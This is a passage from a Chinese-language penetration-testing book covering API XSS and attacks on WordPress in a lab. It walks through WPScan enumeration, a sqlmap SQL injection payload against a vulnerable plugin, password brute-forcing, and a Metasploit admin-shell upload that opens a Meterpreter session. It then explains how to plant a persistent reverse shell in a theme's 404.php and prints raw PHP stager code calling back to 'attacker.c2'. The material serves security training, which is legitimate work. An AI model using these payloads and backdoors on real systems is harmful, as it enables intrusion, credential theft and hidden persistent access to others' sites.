如果一切顺利,我们应该看到所有都是绿色的,因为我们的测试应该已成功,这意味着身份验证请求成功,令牌被提取,并且用户查询返回了一些数据:

Collection Runner

图 11.26:成功的 Postman 集合运行

更重要的是,集合中的所有请求都被传递到我们的 Burp 代理:

Collection Runner

图 11.27:Burp 捕获的 Postman 集合运行

从这里,我们可以启动 Burp Scanner、Intruder 和 Sequencer 模块,或者重放任何请求以操控数据并寻找漏洞,正如我们在传统应用程序中常做的那样。

攻击考虑事项

针对基于 HTTP 的 API 的攻击与传统的 Web 应用程序并无太大不同。我们需要遵循相同的基本程序:

  • 确定注入点

  • 发送意外输入并观察 API 如何响应

  • 寻找常见嫌疑:SQL 注入、XXE、XSS、命令注入、LFI 和 RFI

我们可以利用已经掌握的所有技巧和方法来发现这些问题,但也有一些例外情况。

典型 Web 应用程序中的 XSS 漏洞很容易证明。你发送输入,输入作为 HTML 或 JavaScript 被反射回客户端,浏览器渲染内容并执行代码。

对于 Web 服务,响应通常不会被渲染,主要是因为响应头中的Content-Type设置。这通常是 JSON 或 XML,大多数浏览器不会将其渲染为 HTML。我说的是“大多数”,因为不幸的是,一些旧版浏览器可能仍会渲染内容,忽略服务器声明的内容类型,而是根据响应中的数据猜测。

api.ecorp.local/user/1 URL 中发现了以下反射型输入问题:

GET /user/1**<svg%2fonload=alert(1)>** HTTP/1.1
Content-Type: application/json
X-Auth-Token: 3284bb036101252db23d4b119e60f7cc
cache-control: no-cache
Postman-Token: d5fba055-6935-4150-96fb-05c829c62779
User-Agent: PostmanRuntime/7.1.1
Accept: */*
Host: api.ecorp.local:8081
Connection: close

我们传入 JavaScript 负载并观察到 API 将其原封不动地返回给客户端,且没有进行转义:

HTTP/1.0 200 OK
Date: Tue, 24 Apr 2018 17:14:03 GMT
Server: WSGIServer/0.1 Python/2.7.11
Content-Length: 80
**Content-Type: application/json**

{"response": {"error": {"message": "user id 1**<svg/onload=alert(1)>** not found"}}}

通常,这就足以证明存在漏洞,并且用户可能会通过社交工程攻击成为目标。然而,如果仔细观察,你会注意到内容类型设置为application/json,这意味着现代浏览器不会将响应渲染为 HTML,从而使我们的负载无效。

对于 API,我们或许仍然抱有希望。在解耦环境中,Web 服务通常不会直接访问。可能该特定 API 是通过 Web 应用程序进行调用的。错误消息可能最终会出现在浏览器中,浏览器可能最终渲染我们的负载。如果所有错误都被 Web 服务记录,并且稍后被整齐地呈现在仅内部可见的状态仪表板中呢?那么我们就能在任何分析师检查 API 状态时执行 JavaScript 代码。

Web 应用程序扫描器可能会识别到这个问题,但将其标记为信息性问题,因此可能会被忽略。考虑每个漏洞的上下文以及不同客户端如何使用受影响的服务非常重要。记住在攻击 API 时要注意带外发现和利用,因为并非所有漏洞都是立即显现的。

总结

在本章中,我们探讨了让攻击 API 变得更容易的不同方式。我们介绍了 Web 服务的两种最常见标准:SOAP 和 REST。我们查看了身份验证是如何处理的,以及 JWT 在安全通信中扮演的角色。我们还探索了帮助提高效率的工具和扩展。

我们还使用了 Postman,并尝试了自动化发现的想法,以及对 API 输入和端点的测试。

API 可能是 Web 和移动应用程序的最新趋势,但它们与通常的 HTTP 应用程序并没有太大的区别。实际上,正如我们之前所看到的,微服务架构在身份验证方面带来了一些新的挑战,这些挑战可以与通常的服务器端和客户端漏洞一起利用。在接下来的章节中,我们将看看内容管理系统(CMS)以及一些发现和利用它们的有趣和有利的方法。

第十二章:攻击 CMS

本章我们将讨论攻击 CMS,特别是 WordPress。谈到 web 应用,几乎无法不提到 WordPress。WordPress 在互联网的普及程度如此之高,你可能在职业生涯中会遇到许多它的实例。毕竟,几乎三分之一的网站都在使用该平台,它无疑是最受欢迎的 CMS。

除了 WordPress,还有 Drupal、Joomla 和其他一些更现代的应用程序,如 Ghost。所有这些框架的目标都是让在网上发布内容变得简单且无忧。你不需要知道 JavaScript、HTML、PHP 或其他任何技术就能开始使用。CMS 通常可以通过插件扩展,并通过主题进行高度定制。WordPress 的特别之处在于,它在互联网上的安装量庞大。比如,你遇到一个 WordPress 博客的几率,远高于遇到 Ghost 博客的几率。

攻击者喜欢 WordPress,因为正是它与竞争对手的区别——庞大的社区——使得它难以安全防护。WordPress 占据市场份额的原因在于,用户不需要技术专长就能运营一个美食博客,而这正是问题所在。那些同样没有技术背景的用户不太可能更新插件或应用核心补丁,更不可能强化他们的 WordPress 实例,并且这些年下来,他们不会偏离这种基础设置。

公平地说,自动更新功能已经在 WordPress 3.7 版本中加入,但前提是用户实际上升级到 3.7 版本。还应该注意,即便有自动更新功能,出于变更管理的考虑,一些公司可能会选择关闭自动更新,以维持稳定性,牺牲安全性。

企业喜欢 WordPress,许多公司提供共享托管和管理服务。也不罕见有市场部门的人设置了一个未经安全部门知晓的非法实例,并将其运行多年。

很容易将 WordPress 作为攻击目标,但 Drupal 和 Joomla 也是不错的选择。它们同样面临着易受攻击的插件和主题问题,以及安装版本更新稀少的问题。WordPress 是巨头,我们将重点关注它,但攻击方法同样适用于任何内容管理框架,尽管所用的工具可能略有不同。

在接下来的章节中,我们将深入探讨 WordPress 攻击,最终你应该能掌握以下内容:

  • 使用各种工具测试 WordPress

  • 一旦获取访问权限,在 WordPress 代码中设置持久性

  • 通过后门进入 WordPress 以获取凭证和其他有价值的数据

应用评估

就像我们对待其他应用程序一样,当我们遇到 WordPress 或 CMS 实例时,我们必须进行一些侦察:寻找低悬的果实,并试图理解我们面对的是什么。我们有一些工具可以帮助我们入门,我们将看一个常见的场景,了解它们如何帮助我们识别问题并进行利用。

WPScan

攻击者遇到 WordPress CMS 应用程序时,通常首先会选择 WPScan。它是一个构建良好、经常更新的工具,用于发现漏洞甚至猜测凭证。

WPScan 具有许多有用的功能,包括以下内容:

  • 插件和主题枚举:

    • 被动和主动发现
  • 用户名枚举

  • 凭证暴力破解

  • 漏洞扫描

对于评估工作,一个有用的功能是可以将所有请求通过代理传递,例如通过本地的 Burp Suite 实例。这使我们能够实时查看攻击,并重放一些有效负载。在一次 engagement 中,这对于记录活动,甚至传递一个或两个多用途的载荷可能非常有用。

**root@kali:~# wpscan --url http://cookingwithfire.local/ --proxy 127.0.0.1:8080**

注意

使用上游代理与 WPScan 配合使用时,可能会在 Burp 的代理历史中生成大量数据,特别是在进行凭证攻击或主动扫描时。

通过 Burp 代理我们的扫描可以让我们对外发出的连接有一些控制:

WPScan

图 12.1:Burp 捕获 WPScan 网络请求

注意

默认的用户代理(WPScan vX.X.X)可以通过 --user-agent 开关进行更改,或通过 --random-agent 随机化。

注意

WPScan 可以在 Kali 和大多数渗透测试发行版中找到。它还可以在wpscan.org/找到,或从 GitHub 克隆:github.com/wpscanteam/wpscan

一次典型的 engagement 从使用 --url 参数对目标进行被动扫描开始。以下命令将对 cookingwithfire.local 测试博客进行默认扫描:

root@kali:~# **wpscan --url http://cookingwithfire.local/**
**_______________________________________________________________**
 **__          _______   _____** 
 **\ \        / /  __ \ / ____|** 
 **\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®**
 **\ \/  \/ / |  ___/ \___ \ / __|/ _' | '_ \** 
 **\  /\  /  | |     ____) | (__| (_| | | | |**
 **\/  \/   |_|    |_____/ \___|\__,_|_| |_|**

 **WordPress Security Scanner by the WPScan Team**
 **Version 2.9.3**
 **Sponsored by Sucuri - https://sucuri.net**
 **@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_**
**_______________________________________________________________**

[+] URL: http://cookingwithfire.local/

**[!] The WordPress 'http://cookingwithfire.local/readme.html' file exists exposing a version number**
**[!] Full Path Disclosure (FPD) in 'http://cookingwithfire.local/wp-includes/rss-functions.php':**
[+] Interesting header: LINK: <http://cookingwithfire.local/index.php?rest_route=/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.25 (Debian)
[+] Interesting header: X-POWERED-BY: PHP/7.2.3
[+] XML-RPC Interface available under: http://cookingwithfire.local/xmlrpc.php

[+] WordPress version 4.9.4 (Released on 2018-02-06) identified from meta generator, links opml
**[!] 1 vulnerability identified from the version number**

**[!] Title:** 
**WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)**
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/WordPress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] WordPress theme in use: kale - v2.2

[+] Name: kale - v2.2
 |  Latest version: 2.2 (up to date)
 |  Last updated: 2018-03-11T00:00:00.000Z
 |  Location: http://cookingwithfire.local/wp-content/themes/kale/
 |  Readme: http://cookingwithfire.local/wp-content/themes/kale/readme.txt
 |  Changelog: http://cookingwithfire.local/wp-content/themes/kale/changelog.txt
 |  Style URL: http://cookingwithfire.local/wp-content/themes/kale/style.css
 |  Theme Name: Kale
 |  Theme URI: https://www.lyrathemes.com/kale/
 |  Description: Kale is a charming and elegant, aesthetically minimal and uncluttered food blog theme that can al...
 |  Author: LyraThemes
 |  Author URI: https://www.lyrathemes.com/

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Requests Done: 348
[+] Memory used: 41.449 MB
[+] Elapsed time: 00:00:03
root@kali:~#

初步看起来,似乎没有太多可用于利用的东西。存在一个完整路径泄露漏洞,如果我们需要找到一个放置 shell 的地方,这可能会派上用场。拒绝服务DoS)漏洞不太有趣,因为大多数客户端不会允许这种类型的利用,但在报告中提到它作为一种可能的破坏路线可能是有益的。

默认情况下,WPScan 会对插件进行被动枚举。这基本意味着它只会检测到在站点某处引用的插件。如果插件被禁用或更加隐蔽,可能需要执行主动枚举。

主动扫描将测试是否已知的插件文件存在于 wp-content 文件夹中,并对任何已存在的漏洞发出警报。通过向已知路径发送大量 URL 请求来实现这一点,如果有响应,WPScan 会假定插件是可用的。

要指定我们要进行的扫描类型,--enumerate(简写为 -e)开关接受多个用于主动检测的参数:

  • u – 查找 ID 从 1 到 10 的用户名

  • u[10-20] – 查找 ID 从 10 到 20 的用户名:--enumerate u[15]

  • p – 查找流行的插件

  • vp – 仅显示易受攻击的插件

  • ap – 查找所有已知的插件

  • tt – 搜索 timthumbs

  • t – 枚举流行的主题

  • vt – 仅显示易受攻击的主题

  • at – 查找所有已知的主题

你也可以提供多个 --enumerate(或 -e)开关,一次枚举主题、插件和用户名。例如,以下开关组合将执行一次相当彻底的扫描:

**root@kali:~# wpscan --url [url] -e ap -e at -e u**

我们继续开始对目标进行可用插件的主动枚举:

root@kali:~# wpscan --url http://cookingwithfire.local/ **--enumerate p**
[...]
[+] URL: http://cookingwithfire.local/
[...]
[+] Enumerating installed plugins (only ones marked as popular) ...
[...]

[+] Name: google-document-embedder - v2.5
 |  Last updated: 2018-01-10T16:02:00.000Z
 |  Location: http://cookingwithfire.local/wp-content/plugins/google-document-embedder/
 |  Readme: http://cookingwithfire.local/wp-content/plugins/google-document-embedder/readme.txt
**[!] The version is out of date, the latest version is 2.6.4**

**[!] Title: Google Document Embedder 2.4.6 - pdf.php file Parameter Arbitrary File Disclosure**
    Reference: https://wpvulndb.com/vulnerabilities/6073
    Reference: http://www.securityfocus.com/bid/57133/
    Reference: http://packetstormsecurity.com/files/119329/
    Reference: http://ceriksen.com/2013/01/03/WordPress-google-document-embedder-arbitrary-file-disclosure/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-4915
    Reference: https://secunia.com/advisories/50832/
    Reference: https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_google_document_embedder_exec
    Reference: https://www.exploit-db.com/exploits/23970/
[i] Fixed in: 2.5.4

**[!] Title: Google Document Embedder <= 2.5.14 - SQL Injection**
    Reference: https://wpvulndb.com/vulnerabilities/7690
    Reference: http://security.szurek.pl/google-doc-embedder-2514-sql-injection.html
    Reference: https://exchange.xforce.ibmcloud.com/vulnerabilities/98944
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9173
    Reference: https://www.exploit-db.com/exploits/35371/
[i] Fixed in: 2.5.15

**[!] Title:  Google Document Embedder <= 2.5.16 - SQL Injection**
    Reference: https://wpvulndb.com/vulnerabilities/7704
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9173
    Reference: https://www.exploit-db.com/exploits/35447/
[i] Fixed in: 2.5.17

**[!] Title: Google Doc Embedder <= 2.5.18 - Cross-Site Scripting (XSS)**
    Reference: https://wpvulndb.com/vulnerabilities/7789
    Reference: http://packetstormsecurity.com/files/130309/
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1879
[i] Fixed in: 2.5.19

[+] Requests Done: 1766
[+] Memory used: 123.945 MB
[+] Elapsed time: 00:00:10
root@kali:~#

看起来 Google Document Embedder 已经成功枚举,并且有几个具有公开可用概念验证代码的严重漏洞。

被标记为 CVE-2014-9173 的 SQLi 漏洞在 www.exploit-db.com 上有 PoC,Kali 上可以通过 searchsploit 本地查询。这个简单的工具可以搜索 Kali 本地目录 /usr/share/exploitdb/,该文件夹经常被镜像到在线数据库,并且在互联网不易访问的环境中非常有用。

我们可以从命令行调用 searchsploit,并将搜索查询作为第一个参数,如下所示:

WPScan

图 12.2:Google Document Embedder 的 searchsploit 结果

searchsploit 将列出 Exploit Title 和相关的 Path,该路径相对于 Kali 发行版中的 /usr/share/exploitdb/

在 PoC 文档 /usr/share/exploitdb/exploits/php/webapps/35371.txt 中,研究员 Kacper Szurek 识别了 wp-content/plugins/google-document-embedder/view.php 插件文件中的 gpid URL 参数作为注入点。

sqlmap

为了确认我们目标中的此漏洞,我们可以转到 sqlmap,这是一款事实上的 SQL 注入(SQLi)利用工具。sqlmap 可以帮助我们快速生成有效载荷,以测试流行的数据库管理系统DBMS),如 MySQL、PostgreSQL、MS SQL 甚至 Microsoft Access。要启动新的 sqlmap 会话,我们通过 -u 参数传递完整的目标 URL。

注意,目标 URL 包含 GET 查询参数,并带有一些虚拟数据。如果我们不告诉 sqlmap 目标 gpid,它将检查其他所有参数的注入情况。这不仅对 SQLi 漏洞发现很有帮助,对漏洞利用也是一个很好的工具。得益于我们的 searchsploit 查询,我们知道 gpid 是易受攻击的参数,因此可以专注于对其进行攻击,使用 -p 参数。

**root@kali:~# sqlmap -u "http://cookingwithfire.local/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0" -p gpid**

**[*] starting at 10:07:41**

**[10:07:41] [INFO] testing connection to the target URL**
**[...]**

几分钟后,sqlmap 检测到后端是 MySQL,我们可以指示它仅针对目标检查 MySQL 有效载荷。这将大大提高我们确认漏洞的机会。

[10:07:49] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[10:07:49] [INFO] **GET parameter 'gpid' is 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' injectable**
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y

对于其余的测试,sqlmap 将确认漏洞的存在并将状态保存到本地。对目标的后续攻击将使用已识别的有效载荷作为起点来注入 SQL 语句。

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[10:07:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
**GET parameter 'gpid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n**
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: gpid (GET)
    Type: **error-based**
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: **embedded=1&gpid=(SELECT 1349 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(1349=1349,1))),0x716b6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)**
**---**
**[10:08:07] [INFO] the back-end DBMS is MySQL**
**web server operating system: Linux Debian**
**web application technology: Apache 2.4.25, PHP 7.2.3**
**back-end DBMS: MySQL >= 5.0**
**[10:08:07] [INFO] fetched data logged to text files under '/root/.sqlmap/output/cookingwithfire.local'**

**[*] shutting down at 10:08:07**

**root@kali:~#**

注意

如果你想在自己的 WordPress 实例中测试这个有漏洞的插件,可以从github.com/wp-plugins/google-document-embedder/tags?after=2.5.1下载版本 2.5 的 Google Document Embedder 插件。

Droopescan

虽然没有 WPScan 那样功能全面,droopescan 的扫描目标不止是 WordPress。它非常适合 Drupal 实例,也可以对 Joomla 做一些基本的扫描。

Droopescan 可以从 GitHub 克隆并快速安装:

**root@kali:~/tools# git clone https://github.com/droope/droopescan**
**Cloning into 'droopescan'...**
**[...]**
**root@kali:~/tools# cd droopescan/**
**root@kali:~/tools/droopescan# ls**
**CHANGELOG  droopescan  dscan  LICENSE  MANIFEST.in  README.md  README.txt  requirements_test.txt  requirements.txt  setup.cfg  setup.py**

一旦提取,我们可以手动使用pip安装依赖项,并通过-r参数传入requirements.txt选项:

**root@kali:~/tools/droopescan# pip install -r requirements.txt**
**Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3))**
**[...]**
**root@kali:~/tools/droopescan#**

Droopescan 还可以使用setup.py脚本和install参数进行全局安装:

**root@kali:~/tools/droopescan# python setup.py install**
**Obtaining file:///root/tools/droopescan (from -r requirements.txt (line 3))**
**[...]**
**root@kali:~/tools/droopescan#**

要评估一个应用程序,可以使用scan drupal选项启动 droopescan,并使用-u参数指定目标:

root@kali:~# droopescan scan drupal -u http://ramblings.local -t 8
[+] No themes found.

[+] Possible interesting urls found:
 **Default admin** - http://ramblings.local/user/login

[+] Possible version(s):
 **8.5.0-rc1**

[+] No plugins found.

[+] Scan finished (0:03:34.527555 elapsed)
root@kali:~#

这个工具是入门了解 Drupal、WordPress 或 Joomla 实例时的好选择。

Arachni Web 扫描器

Arachni与之前讨论的更专业的工具有所不同。它是一个功能齐全的模块化框架,具有通过远程代理分发扫描的能力。经过正确配置后,它可以成为评估应用程序的强大第一步。

Arachni 是免费的开源软件,并且容易安装。它可以通过一个易于使用的 Web 用户界面或通过命令行进行控制。该框架还可以用于发现 HTML5 和文档对象模型漏洞,传统的扫描器可能会遗漏这些漏洞。

注意

Arachni 的预编译二进制文件可以在www.arachni-scanner.com/找到。

一旦提取到磁盘上,我们需要创建一个用户才能登录到 Web 界面。arachni_web_create_user辅助工具可以在bin文件夹中找到。

root@kali:~/tools/arachni/bin# **./arachni_web_create_user root@kali.local A!WebOf-Lies* root**
User 'root' with e-mail address 'root@kali.local' created with password 'A!WebOf-Lies*'.
root@kali:~/tools/arachni/bin#

注意

如果这是 Arachni 的生产环境安装,请小心清除你的 Shell 历史记录。

Web 界面通过同一文件夹中的arachni_web脚本启动:

**root@kali:~/tools/arachni/bin# ./arachni_web**
**Puma 2.14.0 starting...**
*** Min threads: 0, max threads: 16**
*** Environment: development**
*** Listening on tcp://localhost:9292**
**::1 - - "GET /unauthenticated HTTP/1.1" 302 - 0.0809**
**[...]**
**::1 - - "GET /navigation HTTP/1.1" 304 - 0.0473**
**::1 - - "GET /profiles?action=index&controller=profiles&tab=global HTTP/1.1" 200 - 0.0827**
**::1 - - "GET /navigation HTTP/1.1" 304 - 0.0463**

Web 用户界面默认运行在http://localhost:9292。在这里,我们可以立即启动新的扫描,也可以将其安排在稍后进行。我们还可以创建扫描配置文件或与远程代理进行交互。

Arachni 默认提供三个扫描配置文件:

  • 默认

  • 跨站脚本攻击(XSS)

  • SQL 注入

默认配置文件执行多种检查,并寻找有趣的文件和容易被发现的漏洞。XSS 和 SQL 注入是针对这两种漏洞类型的更聚焦的配置文件。

要使用 Web UI 启动新的扫描,请在扫描下选择新建,如图所示:

Arachni Web 扫描器

图 12.3:启动一个新的 Arachni 扫描

我们还可以在扫描运行时查看 扫描 页面,跟踪进度。以下图示展示了一个针对 jimsblog.local,即一个 WordPress 安装的示例扫描:

Arachni 网络扫描器

图 12.4:Arachni 扫描正在运行

问题会在扫描状态下列出,随着它们的发现。但一旦扫描完成,完整的报告将提供。在 问题 部分,我们可以看到 Arachni 发现的内容,如下所示:

Arachni 网络扫描器

图 12.5:Arachni 发现的问题

Arachni 中的 SQL 注入扫描配置文件也可以用于扫描,验证我们之前通过 WPScan 发现的问题,在 cookingwithfire.local 博客中。这个特定的配置文件应该比默认扫描完成得更快。

Arachni 网络扫描器

图 12.6:Arachni 发现的 SQL 注入

细心的读者会注意到,Arachni 发现了一个基于时间的盲 SQL 注入,sqlmap 使用基于错误的技术确认了这个漏洞。从技术上讲,两种技术都可以用来利用这个特定应用程序,但基于错误的技术是首选。基于时间的注入攻击本身速度较慢。如果 Arachni 发现了一个基于时间的盲 SQL 注入漏洞,可能是个好主意,将 sqlmap 定向到相同的 URL,看看是否能识别出更可靠的信息。

后门化代码

一旦我们获得了对 CMS 实例的访问权限,例如 WordPress、Drupal 或 Joomla,就有几种方式可以持续保持或甚至水平或垂直提升权限。我们可以注入恶意 PHP 代码,这将允许我们随时获得 Shell 访问权限。代码执行非常强大,但在某些情况下,我们不一定需要它。还有其他方式可以利用该应用程序。或者,我们可以修改 CMS 核心文件,以便在用户和管理员登录时捕获明文凭证。

这两种技术都需要某种提升的权限,这就引出了一个问题:如果我们已经拥有这种类型的访问权限,为什么还要费力做这些呢?我们将探讨几种情况,在这些情况下,后门可能有助于我们的渗透测试。如果我们对 WordPress 实例有管理员访问权限,但没有 Shell 访问权限,我们可以利用 UI 创建反向 Shell 并保持访问权限,以防密码被重置。如果我们有标准用户的 Shell 访问权限,但没有其他权限,捕获明文凭证可能是横向移动或提升权限的好方法。

持久性

在攻击 CMS 安装时,例如 WordPress,我们可能已经获得了管理员凭证。也许我们通过 WPScan 成功列出了用户,然后暴力破解了特权用户的凭证。这比你想象的要常见,尤其是在 WordPress 临时搭建用于开发的环境中,或者只是被搭建起来后就被遗忘了。

让我们使用 wpscan--enumerate u 选项来探讨这个场景:

root@kali:~# wpscan --url http://cookingwithfire.local/ **--enumerate u**
[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
    +----+--------+--------+
    | Id | Login  | Name   |
    +----+--------+--------+
    | 1  | msmith | msmith |
    | 2  | mary   | Mary K |
    +----+--------+--------+

[+] Requests Done: 377
[+] Memory used: 3.836 MB
[+] Elapsed time: 00:00:10

结果显示至少有两个我们可以针对其进行登录暴力破解攻击的用户。WPScan 可以通过 --usernames 参数和 --passwords 提供的字典文件进行某个账户的凭证暴力破解。

对于这次攻击,我们将使用 SecLists 的 rockyou-10.txt 字典,并将目标设置为 mary。像之前一样,我们可以通过 --url 参数调用 wpscan,然后指定一个用户名,并将 passwords 参数指向 SecLists 的 rockyou-10.txt 文件。

root@kali:~# wpscan --url http://cookingwithfire.local/ --usernames mary  --passwords ~/tools/SecLists/Passwords/Leaked-Databases/rockyou-10.txt

[+] Starting the password brute forcer
[+] [SUCCESS] Login : mary Password : **spongebob**

  Brute Forcing 'mary' Time: 00:00:01 <===============    > (87 / 93) 93.54%  ETA: 00:00:00
  +----+-------+------+-----------+
  | Id | Login | Name | Password  |
  +----+-------+------+-----------+
  |    | mary  |      | **spongebob** |
  +----+-------+------+-----------+

[+] Requests Done: 441
[+] Memory used: 41.922 MB
[+] Elapsed time: 00:00:12

稍等片刻后,mary 的凭证得到确认,我们可以自由地以该用户身份登录。

通过 WordPress UI 登录时,我们注意到 mary 对博客具有更高的访问权限。我们可以利用这个账户启动反向 shell,从而获得对底层操作系统的访问权限。

我们可以通过 Metasploit 或通过管理员面板本身轻松实现这一点。Metasploit 方法稍显嘈杂,如果失败,它可能会留下遗留物,如果没有及时清理,可能会引起管理员警觉。然而,在某些情况下,隐蔽性并不是最重要的,这个模块仍然能够正常工作。

Metasploit 模块 wp_admin_shell_upload 将连接到 WordPress 网站,并使用我们刚刚发现的凭证进行身份验证。它将继续上传一个恶意插件,启动一个反向 Meterpreter shell 并返回到我们的攻击机器。

在我们的 Kali 实例上,像之前一样,我们可以通过 msfconsole 命令启动 Metasploit 界面:

**root@kali:~# msfconsole -q**

让我们使用 Metasploit 的 use 命令加载 wp_admin_shell_upload 漏洞,如下所示:

**msf > use exploit/unix/webapp/wp_admin_shell_upload**
**msf exploit(unix/webapp/wp_admin_shell_upload) > options**

Module options (exploit/unix/webapp/wp_admin_shell_upload):

 Name       Current Setting       Required  Description
 ----       ---------------       --------  -----------
 PASSWORD  **spongebob**
       yes       The WordPress password to authenticate with
 Proxies                          no        A proxy chain of formattype:host:port[,type:host:port][...]
 RHOST      cookingwithfire.local  yes        The target address
 RPORT      80                    yes       The target port (TCP)
 SSL        false                 no        Negotiate SSL/TLS for outgoing connections
 TARGETURI  /                     yes       The base path to the WordPress application
USERNAME **mary** yes       The WordPress username to authenticate with
 VHOST                            no        HTTP server virtual host

在我们能够启动漏洞并希望能够拿到 shell 之前,有一些选项需要填入正确的信息。

让我们通过 run 命令执行 exploit 模块:

**msf exploit(unix/webapp/wp_admin_shell_upload) > run**

[*] Started reverse TCP handler on 10.0.5.42:4444
[*] Authenticating with WordPress using mary:spongebob...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
**[*] Executing the payload at /wp-content/plugins/ydkwFvZLIl/rtYDipUTLv.php...**
[*] Sending stage (37543 bytes) to 172.17.0.3
**[*] Meterpreter session 6 opened** (10.0.5.42:4444 -> 172.17.0.3:36670)
[+] Deleted rtYDipUTLv.php
[+] Deleted ydkwFvZLIl.php
[+] Deleted ../ydkwFvZLIl
meterpreter >

看起来该模块成功运行并启动了一个反向 Meterpreter 会话返回到我们的攻击机器。Metasploit 已经显示了 meterpreter 提示符,现在我们可以在目标机器上执行命令。

meterpreter > **sysinfo**
Computer    : 71f92e12765d
OS          : Linux 71f92e12765d 4.14.0 #1 SMP Debian 4.14.17 x86_64
Meterpreter : php/linux

meterpreter > **getuid**
Server username: www-data (33)
meterpreter >

虽然我们确实有访问权限,但这个 shell 存在一个问题。它不会保持持久性。如果服务器重启,Meterpreter 会话将会中断。如果 mary 更改了密码,我们将完全失去对应用程序的访问权限。

我们需要更具创意地保持对站点的访问。幸运的是,由于 WordPress 是如此可定制,提供了插件和主题的文件编辑器。如果我们能够修改主题文件并注入反向 shell 代码,每次通过 Web 调用它时,我们将拥有访问权限。如果管理员明天更改了密码,我们仍然可以重新登录。

在 WordPress 管理面板中,主题 部分链接到 编辑器,可以用来修改任何已安装主题的 PHP 文件。最好选择一个已禁用的主题,以防我们修改的是一个频繁访问的文件,用户会注意到有问题。

Twenty Seventeen 是 WordPress 的默认主题,在此安装中,它不是主要主题。我们可以修改 404.php 页面并在其中注入我们的代码,而不会引起任何人的注意。

持久化

图 12.7:WordPress 主题文件编辑器

我们可以通过加载 payload/php/meterpreter/reverse_tcp payload 模块来使用 Metasploit 生成一个新的 PHP 反向 shell。LHOST 选项应该与我们的本地主机名或 IP 匹配,而 LPORT 将是 Metasploit 用来监听传入反向 shell 的本地端口。一旦目标被利用,它将通过这个端口回连给我们。

在 Metasploit 控制台中,我们可以使用 use 命令加载它,就像之前一样:

**msf > use payload/php/meterpreter/reverse_tcp**
**msf payload(php/meterpreter/reverse_tcp) > options**

**Module options (payload/php/meterpreter/reverse_tcp):**

 **Name   Current Setting  Required  Description**
 **----   ---------------  --------  -----------**
 **LHOST  attacker.c2      yes       The listen address**
 **LPORT  4444             yes       The listen port**

**msf payload(php/meterpreter/reverse_tcp) >**

有效载荷 php/meterpreter/reverse_tcp 是一个用 PHP 编写的 Meterpreter 暂存器,尽管从稳定性角度来看它并不理想,但它确实提供了典型 Meterpreter 反向 shell 的大部分功能。

在 Metasploit 中加载有效载荷时,与使用 MSFvenom 工具生成有效载荷不同,我们可以使用generate命令。该命令可以显示创建新有效载荷的所有可用选项。

**msf payload(php/meterpreter/reverse_tcp) > generate -h**
**Usage: generate [options]**

**Generates a payload.**

**OPTIONS:**

 **-E        Force encoding.**
 **-b <opt>  The list of characters to avoid: '\x00\xff'**
 **-e <opt>  The name of the encoder module to use.**
 **-f <opt>  The output file name (otherwise stdout)**
 **-h        Help banner.**
 **-i <opt>  the number of encoding iterations.**
 **-k        Keep the template executable functional**
 **-o <opt>  A comma separated list of options in VAR=VAL format.**
 **-p <opt>  The Platform for output.**
 **-s <opt>  NOP sled length.**
 **-t <opt>  The output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war**
 **-x <opt>  The executable template to use**

对于 PHP 有效载荷,这些选项中的大多数不会产生影响。我们可以生成原始有效载荷,它就是暂存器的 PHP 代码。我们不需要将其写入文件;它通常非常小,我们可以直接从终端输出中复制。

msf payload(php/meterpreter/reverse_tcp) > generate -t raw
**/*<?php /**/ error_reporting(0); $ip = 'attacker.c2'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, 